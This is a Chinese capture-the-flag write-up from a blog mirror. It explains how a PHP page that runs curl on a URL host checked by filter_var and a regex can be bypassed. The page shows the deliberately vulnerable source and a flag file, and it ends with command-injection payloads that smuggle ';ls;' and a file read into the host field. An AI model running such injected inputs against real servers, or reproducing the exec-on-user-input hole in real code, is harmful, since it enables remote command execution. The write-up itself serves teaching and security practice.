zoukankan      html  css  js  c++  java
  • day2filter_var函数漏洞

    filter_var函数漏洞

    前言

    • 1.环境
    • 2.知识点:filter_var,parse_url解析规则

    搭建环境

    漏洞具体分析可看博客

    题目源码

    index.php

    // index.php
    <?php 
    $url = $_GET['url'];
    if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
        $site_info = parse_url($url);
        if(preg_match('/sec-redclub.com$/',$site_info['host'])){
            exec('curl "'.$site_info['host'].'"', $result);
            echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
                  <center><textarea rows='20' cols='90'>";
            echo implode(' ', $result);
        }
        else{
            die("<center><h1>Error: Host not allowed</h1></center>");
        }
    
    }
    else{
        echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
              <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
    }
    
    ?>
    

    f1agi3hEre.php

    // f1agi3hEre.php
    <?php  
    $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
    ?>
    

    显然是要通过exec函数来rce,参数经过了filter_var和正则两层过滤

    首先说说filter_var(),FILTER_VALIDATE_URL表示合法的url,会对url进行检查

    正则要求域名部分以sec-redclub.com 结尾

    先看parse_url


    可以看到parse_url//为分界线划分协议和域名,两个 斜杠之后便是域名


    可以看到当协议头不正确且没出现空格时可以绕过

    构造payload:
    ?url=ht://";ls;"sec-redclub.com

    ?url=ht://";cat<f1agi3hEre.php;"sec-redclub.com

  • 相关阅读:
    $Noip2011/Luogu1311$ 选择客栈
    $Noip2013/Luogu1970$ 花匠 $dp$+思维
    $CF1063B Labyrinth$ $01$最短路/$01BFS$
    $UVA10559 Blocks $区间$dp$
    $SCOI2009 windy$数 数位$dp$
    $cometoj#4 D $求和 不是$dp$
    Manacher算法总结
    题解 P1537 【弹珠】
    题解 P4609 【[FJOI2016]建筑师】
    字符串专题随笔
  • 原文地址:https://www.cnblogs.com/NineOne/p/14071492.html
Copyright © 2011-2022 走看看